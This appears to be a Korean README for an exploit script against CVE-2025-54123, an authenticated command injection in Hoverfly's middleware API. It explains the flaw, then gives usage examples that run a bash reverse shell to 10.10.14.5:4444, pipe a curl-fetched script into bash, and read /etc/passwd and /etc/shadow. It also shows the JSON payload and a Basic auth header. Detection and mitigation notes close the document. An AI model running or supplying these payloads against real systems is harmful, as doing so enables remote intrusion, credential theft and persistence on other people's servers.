CVE-2025-54123 익스플로잇

Hoverfly 인증 미들웨어 명령 주입 RCE | CVSS 9.8 심각

취약점

Hoverfly <= 1.11.3는 /api/v2/hoverfly/middleware 엔드포인트를 통해 인증된 명령 주입에 취약합니다. 관리자 자격 증명이 필요하지만, 인증되면 미들웨어 기능이 사용자 제공 바이너리 및 스크립트 값을 검증 없이 수락하여 임의 명령 실행을 허용합니다.

취약점 체인

1. 부적절한 입력 검증 - middleware.go가 임의 바이너리 경로를 수락함
2. 안전하지 않은 명령 실행 - local_middleware.go가 사용자 입력을 직접 exec.Command()에 전달
3. 즉시 실행 - hoverfly_service.go가 검증 중에 미들웨어를 실행

요구 사항

• 유효한 Hoverfly 관리자 자격 증명 (사용자 이름/비밀번호)
• Hoverfly Admin API 접근 (기본 포트 8888)

사용법

python3 exploit.py -t <TARGET_URL> -u <USERNAME> -p <PASSWORD> -c <COMMAND> [--shell SHELL]

• -t, --target - Hoverfly API 엔드포인트 (필수)
• -u, --username - 관리자 사용자 이름 (필수)
• -p, --password - 관리자 비밀번호 (필수)
• -c, --command - 실행할 명령어 (필수)
• --shell - 사용할 셸 바이너리 (기본값: /bin/bash)

예제

# 기본 명령 실행
python3 exploit.py -t http://localhost:8888 -u admin -p password -c whoami

# 민감한 파일 읽기
python3 exploit.py -t http://10.10.11.100:8888 -u admin -p pass123 -c "cat /etc/passwd"

# 리버스 셸
python3 exploit.py -t http://target:8888 -u user -p secret -c "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"

# 다중 명령 실행
python3 exploit.py -t http://192.168.1.50:8888 -u admin -p admin -c "id; uname -a; pwd"

# 다른 셸 사용
python3 exploit.py -t http://victim:8888 -u root -p toor -c "cat /etc/shadow" --shell /bin/sh

# 페이로드 다운로드 및 실행
python3 exploit.py -t http://target:8888 -u admin -p pass -c "curl http://10.10.14.5/shell.sh | bash"

공격 흐름

1. 공격자가 유효한 관리자 자격 증명을 사용하여 인증 (Basic Auth)
2. 악성 페이로드와 함께 /api/v2/hoverfly/middleware로 PUT 요청 전송
3. Hoverfly가 스크립트를 임시 파일 /tmp/hoverfly_<random>에 기록
4. 검증 중 실행: <shell> /tmp/hoverfly_<random>
5. 명령 출력이 오류 응답의 STDOUT 섹션에 반환됨
6. 익스플로잇이 출력을 추출하여 표시

페이로드 구조

{
    "binary": "/bin/bash",
    "script": "whoami"
}

HTTP 헤더 포함:

Authorization: Basic YWRtaW46cGFzc3dvcmQ=
Content-Type: application/json

영향

• 전체 원격 코드 실행 - Hoverfly 프로세스 권한으로 실행
• 자격 증명 도용 - API 키, 토큰, 비밀 탈취
• 내부 네트워크 피벗 - 인접 시스템 손상
• 데이터 유출 - 시뮬레이션 데이터, 구성에 접근
• 지속성 - 백도어 설치, 접근 유지
• 서비스 중단 - 미들웨어 구성 수정/삭제

취약한 코드 위치

• core/middleware/middleware.go:94-96 - binary 매개변수에 대한 입력 검증 부재
• core/middleware/local_middleware.go:14-19 - 안전하지 않은 exec.Command() 사용
• core/hoverfly_service.go:173 - 검증 중 즉시 실행

영향을 받는 버전

• Hoverfly <= 1.11.3
• Admin API에 접근 가능하고 인증이 활성화된 모든 설치

탐지

다음을 확인하세요:

• /api/v2/hoverfly/middleware로의 PUT 요청
• "STDOUT:"과 함께 명령 출력이 포함된 오류 응답
• /tmp/hoverfly/의 임시 파일
• hoverfly 서비스에서 비정상적인 프로세스 실행

완화

• 패치된 버전으로 업그레이드 (가능한 경우)
• Admin API 접근을 신뢰할 수 있는 IP로만 제한
• 강력한 인증 자격 증명 사용
• /api/v2/hoverfly/middleware 엔드포인트 접근 모니터링
• binary/script 매개변수에 대한 입력 검증 구현

참고 자료

• CVE-2025-54123
• CWE-78 (OS 명령 주입)
• CWE-20 (부적절한 입력 검증)
• GHSA-r4h8-hfp2-ggmf
• https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-r4h8-hfp2-ggmf
• https://nvd.nist.gov/vuln/detail/CVE-2025-54123

크레딧

원발견자: @Kr1shna4garwal